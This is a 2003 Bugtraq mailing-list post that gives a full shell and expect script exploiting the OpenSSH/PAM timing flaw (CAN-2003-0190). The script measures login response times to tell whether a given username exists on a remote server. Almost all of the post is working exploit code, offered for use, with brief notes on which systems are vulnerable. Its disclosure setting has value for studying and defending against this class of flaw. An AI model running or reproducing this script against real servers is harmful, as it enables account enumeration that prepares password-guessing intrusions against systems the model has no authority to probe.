bugtraq - Re: OpenSSH/PAM timing attack allows remote users identification

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Message-ID: <1051827524.31666.26.camel@gsiserver.gsitechusa.com>
Date: 01 May 2003 18:18:44 -0400
From: Nicolas Couture <nc@...rmvault.net>
To: bugtraq@...urityfocus.com
Subject: Re: OpenSSH/PAM timing attack allows remote users identification


After a bad experience with ssh_brute.c from mediaservice.net who
released, lately, an advisory for OpenSSH <= 3.6.1p1 that became
CAN-2003-0190 (http://lab.mediaservice.net/advisory/2003-01-openssh.txt)
I decided to write my own working exploit:

--- gossh.sh ---
#!/bin/sh
# OpenSSH <= 3.6.p1 - User Identification.
# Nicolas Couture - nc@...rmvault.net
#
# Description:
#       -Tells you wether or not a user exist on
#         a distant server running OpenSSH.
# 
# Usage:
#       -You NEED to have the host's public key
#         before executing this script. 
#


#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
# Fact Sheet:                                   #
#         o It is really accurate against       #
#           redhat boxes.                       #
#         o Linux boxes running grsecurity      #
#           has 10 seconds delay on both        #
#           valid AND invalid user login        #
#           attempts.                           #
#         o *BSD boxes are not vulnerables and  #
#            always has 10 seconds delay like   #
#            Linux-Grsec + network protection   #
#                                               #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
# History:                                  #
#        Thu May  1 15:41:18 EDT 2003       #
#         ; Script started.                 #
#        Thu May  1 16:42:30 EDT 2003       #
#         ; Script is functional.           #
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#

# Let the user know how we work.
usage(){
 echo "$0 <user> <host>"
 exit 1
}

# Verify the arguments.
[ $# != 2 ] && usage

# Variables.
USER="$1"
HOST="$2"

#=-=-=-=-=-=-=-=-=-=-=-=-=#
# Expect script functions #
#=-=-=-=-=-=-=-=-=-=-=-=-=#

# Expect script for password.
expasswd() {
cat << EOF > expasswd 
spawn $SSHCMD
expect password:
send '\r'
interact
EOF
}

# Expect script for error.
experror() {
cat << EOF > experror
spawn expect -f expasswd
expect again.
exit 1593
interact
EOF
}

#=-=-=-=-=-=-=-=-=-=#
# -Fake user timing #
#=-=-=-=-=-=-=-=-=-=#

# OpenSSH client command for inexisting user.
export SSHCMD="ssh nicolas_couture@...ST"

# Build new expect script.
expasswd
experror

# Timing.
FDATE0=`date '+%s'`
echo "[-] Calculating fake user timeout..."
expect -f experror 1> /dev/null 2> /dev/null
FDATE1=`date '+%s'`

# Fake user timeout.
FUTO=`echo $FDATE1 - $FDATE0 | bc`
echo "[+] Found $FUTO."

#=-=-=-=-=-=-=-=#
# -$USER timing #
#=-=-=-=-=-=-=-=#

# OpenSSH command.
export SSHCMD="ssh $USER@...ST"

# Build new expect scripts.
expasswd
experror

DATE0=`date '+%s'`
echo "[-] Calculating $USER timeout on $SERVER..."
expect -f experror 1> /dev/null 2> /dev/null
DATE1=`date '+%s'`

# $USER timeout.
END=`echo $DATE1 - $DATE0 | bc`
echo "[+] Found $END."

#=-=-=-=-=#
# -Result #
#=-=-=-=-=#

if [ "$FUTO" -eq "$END" ] && [ "$FUTO" -eq "10" ]; then
 echo "This box is not vulnerable."
 exit 1
fi

# Use of our magic skills.
if [ "$FUTO" -lt "$END" ]; then
 echo "$USER exist on $HOST."
elif [ "$FUTO" -ge "$END" ]; then
 echo "$USER doesn't exist on $HOST."
else
 echo "Segmentation fault."
 exit 13
fi

# Remove tmp files.
rm -rf expasswd experror

# EOF
--- gossh.sh ---


	-Nicolas